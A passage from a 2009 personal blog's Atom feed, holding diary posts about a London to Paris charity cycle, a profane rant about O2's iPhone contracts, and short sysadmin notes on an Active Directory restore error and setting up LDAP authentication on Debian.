/&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/3885103693913120154/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=3885103693913120154' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/3885103693913120154'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/3885103693913120154'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2009/07/trip-to-cinema.html' title='Trip To The Cinema'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-3609561022347367942</id><published>2009-07-11T11:54:00.001Z</published><updated>2009-07-11T11:54:35.000Z</updated><title type='text'>London to Paris - Day 2</title><content type='html'>So after a very long and stressful first day cycling through the English countryside (which whilst quite pretty was a very gruelling cycle) we hopped on the ferry and made it to France in one piece.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Had a fantastic breakfast in the hotel, and made sure to stock up on starchy foods and generally fill our faces with french pastries and other goodies. After breakfast I decided to go and get my bike ready after it had been taken off the van it had stayed in that night, bringing my helmet, water bottles and gloves down with me to the grassy area outside the hotel (which was full of dog shit but anyway) I pop my stuff down and go looking for my bike. I then come back to the footpath and spend 40 minutes looking for my water bottles, did I leave htem in the hotel? did I leave them on the coach (no chance of ever seeing them again but I had them in my hand that morning) did I leave htem in my day bag with the other stuff that I might need during the day?) no, they were not in any of these places. &lt;/div&gt;    &lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;They were in my helmet along with my gloves, exactly where I had left them, did I mention that we had a very long day previous to this?&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;We start cycling and I immediately find a problem, my foot is starting to hurt again and we hadn&amp;#39;t even covered a mile, fortunately we had a stop after 2 miles at a cycle shop so people could pick up anything that they may have forgotten to bring. I managed to pick up a pair of adidas cycling shoes, in my size, for €32 which considering that they usually retail for about 3 times that I was quite pleased with.&lt;/div&gt;    &lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The difference they made was unreal. I was able to put much more power down, more efficiently and my foot didn&amp;#39;t hurt at all, €32 well spent in my book.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The morning&amp;#39;s cycling was very pleasant indeed, with undulating terrain but travelling through a very picturesque part of France. The weather was ace as well, no wind at all but a very pleasant 33oC. Now you might think that this is unbearably warm, but it was very pleasant as even during the very fast downhill sections (where my motto was Tuck in, Fuck off) you didn&amp;#39;t cool down much at all, but the lack of humidity made for very pleasant cycling weather. &lt;/div&gt;    &lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Coming in right (10-15 min out of 3 hrs) behind what I would class as the Elite Cyclists (guys that do it every day of the year and spent more on their bikes than I did on my car) I was very pleased with my progress and was able to spend a bit more time recuperating at each stop. &lt;/div&gt;    &lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Lunch, as the previous day was at the top of an incredibly long hill, not as steep this time however, but due to a headwind I had to get off and walk part of it.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;After lunch we had a long downhill section to begin with followed by a series of hills. I think I ate the wrong things during lunch so was very tired and lacking in energy for the first 45 min or so, I don&amp;#39;t think I had enough fruit for the fructose and other sugars that would have given me the necessary boost and kickstarted the oul legs again.&lt;/div&gt;    &lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The next leg of the journey was absolutely magnificient, travelling through the rolling hills of the french countryside. I think that the elite class were missing out on some of this as they were driven to be first to arrive and would just keep the head down and cycle straight through, without taking a few minutes to appreciate the stunning beauty of the area. Unfortunately the jersey I was wearing that day didn&amp;#39;t have pockets otherwise my iPhone would have been accompanying me and there would be a multitude of photos of just how beautiful the area is.&lt;/div&gt;    &lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The next rest area was in a sleepy little village, probably a population of maybe 600. There was a wedding on and everyone in the village was out enjoying the good weather and the atmosphere. A stop at a local bar let me meet a few of my fellow travellers and I made good company straight away with one group in particular. They had the very very good drugs... A Doctor, a Pharmacist and a Psychiatrist, I mean they were packing everything, antibiotics, max strength codeine, the strongest painkillers without needing a controlled prescription etc. Good people to know. One of their party was really suffering though and was having a hard time making it through, she hadn&amp;#39;t eaten since the ferry trip the previous evening and was having bouts of vomiting and diarrhea. She was absolutely driven to complete it though as she had lost her husband the previous year and was doing it for an arthritis charity that really looked after him.&lt;/div&gt;    &lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Setting off from here there was a very much appreciated downhill section and some more rolling hills, nothing too strenuous and arriving at the hotel at 3pm or so was a welcome relief from the 7pm the previous day.&lt;/div&gt;    &lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;All in All a very good day and felt like I had done quite well!&lt;/div&gt;      &lt;p style="font-size: 10px;"&gt;  &lt;a href="http://posterous.com"&gt;Posted via email&lt;/a&gt;   from &lt;a href="http://danmacs.posterous.com/london-to-paris-day-2"&gt;Daniel's posterous&lt;/a&gt;  &lt;/p&gt;    &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-3609561022347367942?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/3609561022347367942/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=3609561022347367942' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/3609561022347367942'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/3609561022347367942'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2009/07/london-to-paris-day-2.html' title='London to Paris - Day 2'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-7749057322040215194</id><published>2009-07-06T12:23:00.001Z</published><updated>2009-07-06T12:23:23.860Z</updated><title type='text'>London to Paris cycle challenge - Day 0/1</title><content type='html'>Now that I'm back and settled after a few days in Edinburgh after completing the London to Paris cycle I've had time to reflect on a few things about it and life in general. &lt;br /&gt;&amp;nbsp;&lt;br /&gt;I'm going to write about each day of the cycle and what the terrain is actually like. &lt;br /&gt;Day 0 Getting our bikes and getting to the starting line. &lt;br /&gt;Interesting. Arrived in Stanstead after a seriously early flight, ran into an old friend at baggage collection but didn't have time to catch up properly. Discovered we did not have our visa card (which has since been reported missing) and had to make a cunning plan about our hotel in Edinburgh as they normally pre-authorise your card in case you rack up a big bill. Worked out fine in the end. Hopped on the stanstead express and was very glad we had sprung for the first class tickets as it was rush hour and the "poor boy" carriages were heaving. Got into Liverpool St. and immediately on to the tube to head to Wimbledon, arrived and was amazed at how busy the area was. Battled through the throngs of people trying to get the buses up to the tennis. Got our bikes from the very nice (and ridiculously cheap) people at TriAndRun (&lt;a href="http://www.TriAndRun.com"&gt;www.TriAndRun.com&lt;/a&gt; ) fitted perfectly even though he only had our heights and weights. Now was fun, attempting to navigate the tube, train and road networks with bikes and large rucksacks to get to our hotel in Bexley several stops, waits and a reasonable walk later we arrive in what is essentially a village. Very pretty and nice and quiet, until we get to our hotel, which may as well have been sitting ON the motorway. Had some severely overpriced lunch and went for a sleep. Woke up and went to a local pub for a very cheap (but microwaved Iceland or similar) dinner, which was reasonably filling and didn't taste "bad" Early night, very hot room. &lt;br /&gt;&amp;nbsp;&lt;br /&gt;Day 1 London (Bexley) to Dover &lt;br /&gt;This was initially meant to be London to Newhaven which was a bit shorter, the ferry company messed about the timings and we had to reroute our ferry via Dover instead. &lt;br /&gt;Started off from the holiday inn after a lightish breakfast and arrived for the briefing. Got told, "today is going to be a bit stressful as we have a fixed deadline that we don't control, if you don't make it quick enough to the lunch stop you WILL be picked up by the back van. If you are not quick enough to the rest stops you WILL be picked up by the back van" etc. Got some more information and it decided to start raining, on go the ponchos. &lt;br /&gt;The first leg was great, 20k in we had a stop with fruit water etc, set off again after about 15 min or so and immediately met some really rough terrain, bear in mind that these are proper road bikes we have with 0 suspension and pretty much no padding on the saddle, think sitting on the crossbar with a small piece of leather under you and you wouldn't be far wrong. &lt;br /&gt;&amp;nbsp;&lt;br /&gt;Lots and lots of uphill sections, really shit Tarmac and potholes, they neglected to tell us we would be cycling through the south Downs. Which in itself is a lie, it's all bloody ups. &lt;br /&gt;On one of the ascents I drop down on the front chainring and the chain pops off (my fault, don't downshift under heavy power) binds up the cranks and turfs me off the bike, I managed to stay upright but my foot dragged under the pedal for a good 20 feet, I also managed to fall quite hard onto the crossbar with the associated injury, pain and indignity that it causes, needless to say I had a very interesting bruise that's still a bit painful and lumpy. At the top of one of the hills the medic passed me and gave it a look over, said it was likely sprained and my heart sank I thought i was going to end up having to pull out after not even lunch on the first day.  Made it to the rest stop after sending laura on ahead, got my fruit and a small rest then set off again. Covered about 7 miles and couldn't make my foot work properly so waited for recovery by the Big White Van, got chucked in the back with the bikes as another couple were too slow/tired or something. &lt;br /&gt;Got out at the next rest stop and got seen by a doctor who gave me some painkillers, note you CAN take ibuprofen and paracetamol together, and yes they do work VERY well together, got back on the bike and after a mile or two felt like a new man minus the very painful buttocks and groin, it didn't take the pain out of their but it did take the edge off. Another slightly misleading description of the terrain followed, "There's a bit of a hill before lunch" a bit of a hill. That would imply, to me at least, that it would be on the order of 4/5 in 100 not a 1 in 10 that went on for 4km. Managed to catch up with laura and passed several people, felt quite pleased with myself at not getting scooped by the van even though I left at the last possible minute from the rest stop. &lt;br /&gt;Got to lunch and was severely disappointed, vegetarian with only a tuna salad for anything resembling meat. As I had taken so long to get there I only had about 20 minutes before we had to set off, whereas most of the others had about 50-90 min. The afternoon continues in the same vein, except the road surface worsens, really stressful trying to make a bike go up a really bad road as it literally drains the energy and willpower out of you. This time I see a worrying pattern forming, we are crossing valleys, so a downhill section that you can't really fly down as the road is rubbish, a bit damp, covered in gravel and quite windy, then it's counterpart on the other side of the valley, a long ascent on the same road surface, not good at all. Made worse by inconsiderate moron drivers who have acres of space on the other side of the road and yet still managed to hit Laura with their wing mirror. &lt;br /&gt;Made it to the last rest stop near the back of the middle group of riders, a nice farmhouse with a grassy area to lie down on. Was informed that there was only another 20K to Dover. Did some mental calculations and despite my geography being rubbish figured out that we were still a reasonable height above sea level and that Dover, being a port, HAD to be at sea level and that meant one thing to me, more downhill than uphill and we were near food (okay, 2 things) hopped on the bike again and went like the clappers. Arrived in Dover after passing several people and forming a small platoon of riders on the outskirts of the town managed to make it to the port itself in a reasonable time and rolled in accompanied by the sound of bicycle bells from or group and cheers and applause from the 30 or so that had already arrived. Staggered on to the ferry after a small wait at the terminal for the later riders and the vans etc. Had a nice meal with everyone, spirits were a bit down as the day was so strenous and miserable. &lt;br /&gt;Off the ferry at calais and back on the bikes to literally travel 2 or so kilometres to actually move 100m, stupid road closures and fences meant we had to drive around the whole terminal area. BTW Calais is very industrial and is full of very industrial buildings and not very pretty. &lt;br /&gt;Got on the coach to take us to Dieppe, sat at the top of the stairs with our day bag and helmets, drifted off to sleep a few times but was startled awake by the fear of falling off my seat and down the very steep coach stairs. Got to the hotel after 2 1/2 hours and fell straight asleep smelling like a corpse and feeling like one as well. &lt;br /&gt;&amp;nbsp;&lt;br /&gt;Thanks today go to: &lt;br /&gt;&amp;nbsp;&lt;br /&gt;Dave the medic for looking at my foot and giving me temporary relief with some ibuprofen gel and lending me his Allen keys to lower my saddle. &lt;br /&gt;&amp;nbsp;&lt;br /&gt;Ian the doctor for giving me lots of painkillers and basically telling me not to be such a pussy and get back on the bloody bike. &lt;br /&gt;&amp;nbsp;&lt;br /&gt;Bob for making ne laugh by arriving at Folkestone and having to get on the train to Dover after he misread the directions. &lt;br /&gt;&amp;nbsp;&lt;br /&gt;Everyone else in the group for being really nice, supportive and friendy when I was lying on the grass at the rest stop with my busted foot. &lt;br /&gt;&amp;nbsp;&lt;br /&gt;And as always, my fantastic wife Laura, always pushing me on, being encouraging and always supportive and watching out for me. &lt;br /&gt;&amp;nbsp;&lt;br /&gt;Day 2 will follow soon as this has taken me about an hour to write on my iPhone.      &lt;p style="font-size: 10px;"&gt;  &lt;a href="http://posterous.com"&gt;Posted via email&lt;/a&gt;   from &lt;a href="http://danmacs.posterous.com/london-to-paris-cycle-challenge-day-01"&gt;Daniel's posterous&lt;/a&gt;  &lt;/p&gt;    &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-7749057322040215194?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/7749057322040215194/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=7749057322040215194' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/7749057322040215194'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/7749057322040215194'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2009/07/london-to-paris-cycle-challenge-day-01.html' title='London to Paris cycle challenge - Day 0/1'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-3460294748847132254</id><published>2009-07-04T17:16:00.001Z</published><updated>2009-07-04T17:16:30.862Z</updated><title type='text'>Image Twitter test</title><content type='html'>&lt;img src="http://posterous.com/getfile/files.posterous.com/danmacs/7NhFNnJol1W9G5NEsNx8Clc6sYtjOh9HiHaunCeDBxoeT1GQEvoIYUPyGZY2/photo.jpg" width="320" height="480"/&gt; &lt;p&gt;Sent from my iPhone&lt;/p&gt;      &lt;p style="font-size: 10px;"&gt;  &lt;a href="http://posterous.com"&gt;Posted via email&lt;/a&gt;   from &lt;a href="http://danmacs.posterous.com/image-twitter-test"&gt;Daniel's posterous&lt;/a&gt;  &lt;/p&gt;    &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-3460294748847132254?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/3460294748847132254/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=3460294748847132254' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/3460294748847132254'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/3460294748847132254'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2009/07/image-twitter-test.html' title='Image Twitter test'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-7868698731358532031</id><published>2009-06-09T07:01:00.008Z</published><updated>2009-06-09T07:49:36.262Z</updated><title type='text'>O2 iPhone 3GS - WTF</title><content type='html'>**** DISCLAIMER ****&lt;br /&gt;This post contains profanity (lots of), reminiscing, dream sequences and full frontal male nudity.&lt;br /&gt;One of the previous items was a lie. You decide if you want to take that chance.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Well O2,&lt;br /&gt;it looks like you've done it again. You've gone back to being an incompetent lumbering giant in a marketplace that rewards agility.&lt;br /&gt;&lt;br /&gt;I can't actually believe that you don't want to take my money for a longer period of time, I'd gladly sign up to a rolling 24 month contract if every time the new release of the iPhone is made available. You really don't get apple fans do you? You saw how good the hardware/software was, how EVERYONE and their dog has or wants one and you decided to royally screw them.&lt;br /&gt;&lt;br /&gt;Never mind the fact that it wasn't just going to be my iPhone contract that you would be getting extended, it was my wife's, several of my colleagues and I was -&gt; &lt;- close to recommending that we use the iPhone and the O2 network in the company I work for, for all the sales, pre-sales and marketing staff.&lt;div&gt;Needless to say that this won't be happening with your current policies of screwing the customer.&lt;/div&gt;&lt;div&gt;If that wasn't bad enough you want to charge an extortionate amount for tethering ability. Yes I do class a doubling of my monthly bill extortion, if I have my laptop with me I'm not likely to be using the data connection on my phone. Now you can pretty much bet that I'll be streaming youTube videos all the live long day, hell, I might not even WATCH them.  &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Somewhere in my mind I think the conversation between O2 and we went something along these lines &lt;div&gt;~~~~~~~~~~Wavy Lines for Reminiscing~~~~~~~~~~&lt;/div&gt;&lt;div&gt; 2 YEARS AGO: &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;O2: Hello Customers Me: Hello O2, two shiny iPhones please. &lt;/div&gt;&lt;div&gt;O2: That will be £600 and £80 per month for 18 months &lt;/div&gt;&lt;div&gt;Me: Okay, that's great, thanks. &lt;hands over="" plastic=""&gt;&lt;br /&gt;Me: Yay, iPhone baby, shame it's only 2G but fuck it, I've got an iPhone&lt;br /&gt;&lt;br /&gt;LAST YEAR:&lt;/hands&gt;&lt;/div&gt;&lt;div&gt;&lt;hands over="" plastic=""&gt;&lt;br /&gt;O2: Hello Loyal Customer&lt;br /&gt;Me: Hello O2, another two shiny iPhones please.&lt;br /&gt;O2: Thanks for trusting us with an important purchase, here, have this iPhone "free" and have this one substantially discounted. I'll just extend your contract out starting today&lt;br /&gt;Me: That's great, I don't mind that at all as the cost to me directly is largely invisible and I don't mind giving you money each month&lt;br /&gt;~~~~~~~~~~End Reminiscing~~~~~~~~~~&lt;br /&gt;&lt;br /&gt;~~~~~~~~~~Future Dream Sequence~~~~~~~~~~&lt;br /&gt;&lt;br /&gt;SOMETIME IN THE NOT TOO DISTANT FUTURE&lt;br /&gt;O2: Hello You Gullible Shithead Fucktard&lt;br /&gt;Me: Wait, Something's not right here, this doesn't normally start like this?&lt;br /&gt;O2: That's right, I've decided to stop taking your crap&lt;br /&gt;Me: But I give you CASH MONEY EVERY MONTH for you to take my crap and let me use your service, I think that's how capitalism works, right?&lt;br /&gt;O2: Yeah, that's largely how it goes, but we've decided to really fuck you over this time, we know you paid for your first iPhone, then we got you hooked on 3G and going faster&lt;br /&gt;Me: Yes, and I want to continue this trend, and the trend of giving you money for this service&lt;br /&gt;O2: We know that, but we also know that you *really* want this new one with the compass and the camera and the "ooooh shiny"&lt;br /&gt;Me: Okay, let's just gloss over this, say I want to use my laptop with me as well.&lt;br /&gt;O2: That's another £30 a month for, realistically, a limited service.&lt;br /&gt;Me: Wait, what? I PAY you for data already, and it's not a small amount either!&lt;br /&gt;O2: Yeah, well, too bad. Fuck You.&lt;br /&gt;Me: You know something, I actually wouldn't have minded but saying as you don't want to play ball with me, you obviously don't want my money and you don't want my recommendations to all my friends that O2 are actually pretty good to deal with.&lt;br /&gt;You see, I'm not a silent complainer, I'm not a silent complimenter either. If I like your product, and your company I WILL tell people. People that make decisions about where to spend money. But on the otherhand, if you or your products piss me off I've got a fairly loud voice and I like to shout.&lt;/hands&gt;&lt;/div&gt;&lt;div&gt;&lt;hands over="" plastic=""&gt;Me: @O2 Your silence is deafening. You were very noisy on WWDC day but strange, I can't hear anything now...&lt;br /&gt;&lt;br /&gt;~~~~~~~~~~End Future Dream Sequence~~~~~~~~~~&lt;br /&gt;&lt;br /&gt;O2 really haven't thought this through at all, they must realise by now that the iPhone has a 12 month lifecycle but they decided they want an 18month contract. This doesn't work unless you play ball with your customers and let them roll it over, which the majority of them will gladly do.&lt;br /&gt;&lt;br /&gt;I Hope someone from O2 reads this and passes it to the appropriate people, you've really gone and fucked yourselves. I hope you are ready for the backlash. &lt;a href="http://search.twitter.com/search?q=o2fail"&gt;http://search.twitter.com/search?q=o2fail&lt;/a&gt; kinda puts it in perspective at a quick glance to see how badly you've screwed up. I don't think it's going to get much better either as today goes on.&lt;br /&gt;&lt;br /&gt;so O2, to sum up:&lt;br /&gt;&lt;br /&gt;Fuck You.&lt;br /&gt;Fuck You Very Much.&lt;/hands&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-7868698731358532031?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/7868698731358532031/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=7868698731358532031' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/7868698731358532031'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/7868698731358532031'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2009/06/o2-iphone-3gs-wtf.html' title='O2 iPhone 3GS - WTF'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-4795607873773218539</id><published>2009-06-08T08:52:00.002Z</published><updated>2009-06-08T08:56:15.449Z</updated><title type='text'>Directory Services could not start Error 0xc000006a</title><content type='html'>This error can also present if your system state backup of your domain controller exceeds the tombstone lifetime of your domain, this defaults to 180 Days.&lt;br /&gt;The exact error message you will see is &lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;code&gt;&lt;br /&gt;Directory Services could not start because of the following error:&lt;br /&gt;The specified network password is not correct. Error Status:&lt;br /&gt;0xc000006a. Please click OK to shutdown this system and reboot&lt;br /&gt;into Directory Services Restore Mode, check the event log for more &lt;br /&gt;detailed information.&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Moral of this story is to ALWAYS CHECK YOUR FREAKING BACKUPS and make sure they are done regularly and inspected regularly.&lt;br /&gt;&lt;br /&gt;This mistake cost me 2 days of working on this. I should have checked the date modified on my system state restore.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-4795607873773218539?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/4795607873773218539/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=4795607873773218539' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/4795607873773218539'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/4795607873773218539'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2009/06/directory-services-could-not-start.html' title='Directory Services could not start Error 0xc000006a'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-5018792143241394578</id><published>2009-05-29T14:55:00.007Z</published><updated>2009-05-29T15:11:38.226Z</updated><title type='text'>LDAP Authentication in Debian</title><content type='html'>Steps for getting LDAP authentication working on Debian&lt;br /&gt;&lt;br /&gt;This post brought to you courtesy of SzlWzl&lt;br /&gt;&lt;br /&gt;Sources:&lt;br /&gt;http://www.adminspotting.net/articles/windows/linux-and-active-directory.html&lt;br /&gt;http://moduli.net/sysadmin/sarge-ldap-auth-howto.html&lt;br /&gt;&lt;br /&gt;Aim:&lt;br /&gt;To get all linux users authenticating from our Active Directory implementation which is running on Windows 2003R2.&lt;br /&gt;&lt;br /&gt;On the Active Directory Server:&lt;br /&gt;From Add/remove programs-&gt;Add/Remove Windows Componenets-&gt;Active Directory Services. Install Identity Management for UNIX and reboot&lt;br /&gt;&lt;br /&gt;Create an user which we're going to use to bind. I have called mine adlookup which sits in our Service Accounts OU.&lt;br /&gt;&lt;pre&gt;&lt;code&gt;CN=AD Lookup,OU=Service Accounts,DC=DOMAIN,DC=com&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;It is very important that the password doesn't have any special characters in, I had to change the domain policy to set it as apparently there can only be one password policy per domain.&lt;br /&gt;In Active Directory Users/Computers either create a new group or choose an existing group for your users, right click and choose properties.&lt;br /&gt;Add your users&lt;br /&gt;Choose Unix Attributes and select the correct NIS domain.&lt;br /&gt;&lt;br /&gt;Now select a user, right click on them and select properties&lt;br /&gt;Choose Unix Attributes&lt;br /&gt;Select the NIS domain, Home Directory, shell and primary group name&lt;br /&gt;&lt;br /&gt;Linux Client:&lt;br /&gt;&lt;pre&gt;&lt;code&gt;apt-get install ldap-utils openssl libpam-ldap libnss-ldap nscd&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;edit the /etc/ldap/ldap.conf to look like this&lt;br /&gt;run &lt;pre&gt;&lt;code&gt;ldapsearch -x -W -D "cn=AD Lookup,OU=Service Accounts,dc=DOMAIN,dc=com" -LLL "(sAMAccountName=adlookup)"&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;then enter your password and it should return the correct details, if it does then you're brilliant :)&lt;br /&gt;&lt;pre&gt;&lt;code&gt;mv /etc/libnss-ldap.conf /etc/libnss-ldap.old&lt;br /&gt;nano -w /etc/libnss-ldap.conf&lt;/code&gt;&lt;/pre&gt;and make it look like this:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;code&gt;host IPOFADSERVER #Important - it must be the IP and not the dns entry&lt;br /&gt;ldap_version 3&lt;br /&gt;binddn CN=AD Lookup,OU=Service Accounts,DC=DOMAIN,DC=com&lt;br /&gt;bindpw PASSWD #nospecialcharacters&lt;br /&gt;scope sub&lt;br /&gt;timelimit 30&lt;br /&gt;nss_map_objectclass posixAccount User&lt;br /&gt;nss_map_objectclass shadowAccount User&lt;br /&gt;nss_map_attribute uid msSFU30Name&lt;br /&gt;nss_map_attribute uniqueMember msSFU30PosixMember&lt;br /&gt;nss_map_attribute userPassword msSFU30Password&lt;br /&gt;nss_map_attribute homeDirectory unixHomeDirectory&lt;br /&gt;nss_map_objectclass posixGroup Group&lt;br /&gt;pam_login_attribute msSFU30Name&lt;br /&gt;pam_filter objectclass=User&lt;br /&gt;pam_password ad&lt;br /&gt;base OU=YOUROU,dc=DOMAIN,dc=com # make sure you limit this to only what is required as I had strange errors&lt;br /&gt;rootbinddn CN=ADMINUSER,CN=Users,DC=DOMAIN,DC=com #What user should root join as to enable passwd change etc&lt;br /&gt;pam_groupdn CN=WHATGROUPAREUSERSIN,CN=Users,DC=DOMAIN,DC=com #what group must users be in to enable login&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;The contents of libnss-ldap.conf and pam_ldap.conf are identical in my setup so just link them together to save any additional work:&lt;br /&gt;&lt;pre&gt;&lt;code&gt;mv /etc/pam_ldap.conf /etc/pam_ldap.old &amp;&amp; ln -s /etc/libnss-ldap.conf /etc/pam_ldap.conf&lt;br /&gt;nano -w /etc/libnss-ldap.secret # enter in your admin password&lt;br /&gt;ln -s /etc/libnss-ldap.secret /etc/pam_ldap.secret #same passwords&lt;br /&gt;chmod 600 /etc/libnss-ldap.secret # make sure this is readable by only that user&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Edit your /etc/nscd.conf file and change the following parameters:&lt;br /&gt;I have chosen an arbitrary size of 500MB but I found that there were some crazy assertion errors coming in if I left the defaults such as this openldap-2.4.11/libraries/liblber/sockbuf.c. I think it must be to do with the size of the cache in nscd but am not sure. I also got an error about "invalid persistent database" when this was set too large.&lt;br /&gt;&lt;pre&gt;&lt;code&gt;&lt;br /&gt; max-db-size             passwd          524288000&lt;br /&gt;       max-db-size             group           524288000&lt;br /&gt;       max-db-size             services        524288000&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br 